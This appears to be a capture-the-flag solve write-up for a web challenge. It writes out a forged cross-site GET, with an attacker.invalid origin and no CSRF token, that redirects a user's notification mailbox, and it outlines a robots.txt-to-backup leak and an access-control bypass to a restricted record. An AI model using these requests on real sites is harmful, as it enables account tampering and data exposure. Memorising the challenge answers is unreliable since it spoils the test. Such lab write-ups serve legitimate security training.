Challenge: Huntress CTF 2026, Day 09, Web Exploitation Game Master ID: web-exploitation-day-09-forged-with-care Modes solved: Single Solve, Time Trial, Mastery Answer IDs: proof-1 (Single Solve and Time Trial); proof-1, proof-2, proof-3 (Mastery)
Objective
Recover the proof from Target 1 by making the notification preference change through a cross-site request while the assigned browser session is active.
Assigned target and evidence
The Game Master assigned the live Target 1 host in start.json. The attempt’s starting page issued an arena_session cookie. Its value is deliberately redacted from the saved response files; use the cookie issued by the current attempt when reproducing the requests.
GET /api/clues identified the app as ASP.NET Core MVC and exposed /submit-cab158 as the preference action. GET /preferences showed that the action accepted a state-changing GET with a destination parameter. The form included a hidden csrf_token, which matched the session cookie for this attempt.
Solve
Send the assigned target a cross-site GET with the active session cookie. Set the destination to the external review mailbox and omit csrf_token:
GET /submit-cab158?destination=review-4509%40outside.example.invalid HTTP/1.1
Host: <assigned-target-host>
Cookie: arena_session=<cookie-issued-by-this-attempt>
Origin: https://attacker.invalid
Referer: https://attacker.invalid/forge
Sec-Fetch-Site: cross-site
The app returned 302 Found with Location: /preferences. Then request /api/preferences using the same session cookie. The response confirmed the cross-site state change and returned the exact proof:
{
"destination": "[email]",
"changed_across_sites": true,
"evidence": "proof_06e2397191a943919e9e74a8ffc81d97"
}
The exact target responses are saved in no_token_cross_origin_response.txt and api_preferences_after_no_token.json (session values redacted). The candidate came directly from the JSON evidence field and was submitted unchanged as proof-1. The Game Master returned CORRECT and accepted proof-1.
Failed attempts
- Supplying the hidden
csrf_tokenwith cross-site request headers changed the preference but leftchanged_across_sitesfalse and returned no evidence. Omitting that parameter was necessary. - Encoding
&csrf_token=...as part of thedestinationvalue produced422 invalid_destination; it did not send a separate token parameter. - The opaque route returned 404 and was not needed once
/api/cluesidentified the preference endpoint.
Reproduction notes
Start the challenge through the Game Master to receive a fresh target and its session cookie. Fetch /api/clues and /preferences, perform the cross-site GET above without the token, then verify /api/preferences. Submit the exact evidence value under proof-1. The live target and session are attempt-specific; do not reuse saved values from this run.
Time Trial
Time Trial used the same cross-site preference-change behavior on its own Game Master-assigned target. The solver inspected that attempt's clues and preferences, performed the state-changing GET without the CSRF token, and verified changed_across_sites: true and the exact proof in /api/preferences. The Game Master accepted proof-1 and returned CORRECT. Sanitized evidence is in time_trial_evidence.json; the run used the regular untimed pool.
Mastery
Mastery was completed on one existing untimed attempt, with all answers submitted together under the exact IDs returned by the Game Master. Each proof was taken from its assigned target:
| Answer ID | Evidence source | Verification |
|---|---|---|
proof-1 | Target 1: robots.txt disclosed /deploy-b0bbb/; the deployment index led to a JSON backup whose support_note contained the proof. | Exact proof extracted from HTTP 200 JSON; sanitized response in output/mastery_target1/request_07.json. |
proof-2 | Target 2: authenticated /api/briefs/17709 returned an executive-owned restricted record with the proof in note; /api/timeline marked the record reference_only. | Exact proof extracted from HTTP 200 JSON; sanitized response in output/mastery_target2/request_12.json. |
proof-3 | Target 3: cross-site GET changed the notification preference, confirmed by /api/preferences. | changed_across_sites: true and exact evidence value are recorded in mastery_target3_evidence.json. |
The Game Master status for the active Mastery attempt returned CORRECT and accepted all three answer IDs. The redacted submission record is mastery_submission.json. scripts/solve_web.py contains the bounded target client and submission path; scripts/investigate_mastery_12.py documents the read-only Target 1 and Target 2 investigation.
Faster approach for a future run
The Mastery targets use different applications even though they share one prompt. Classify each assigned homepage once, then follow its strongest exposed clue: robots.txt to a deployment index and linked backup; the case timeline's reference_only event to that one case API record; or /api/clues to the CSRF preference flow. Retain each target's session cookie only in memory, verify the exact proof in the source response, and submit all answers together. The recommended target-specific request sequences and the reason the first generic routine stalled are recorded in HOMESTATION_HANDOFF.md.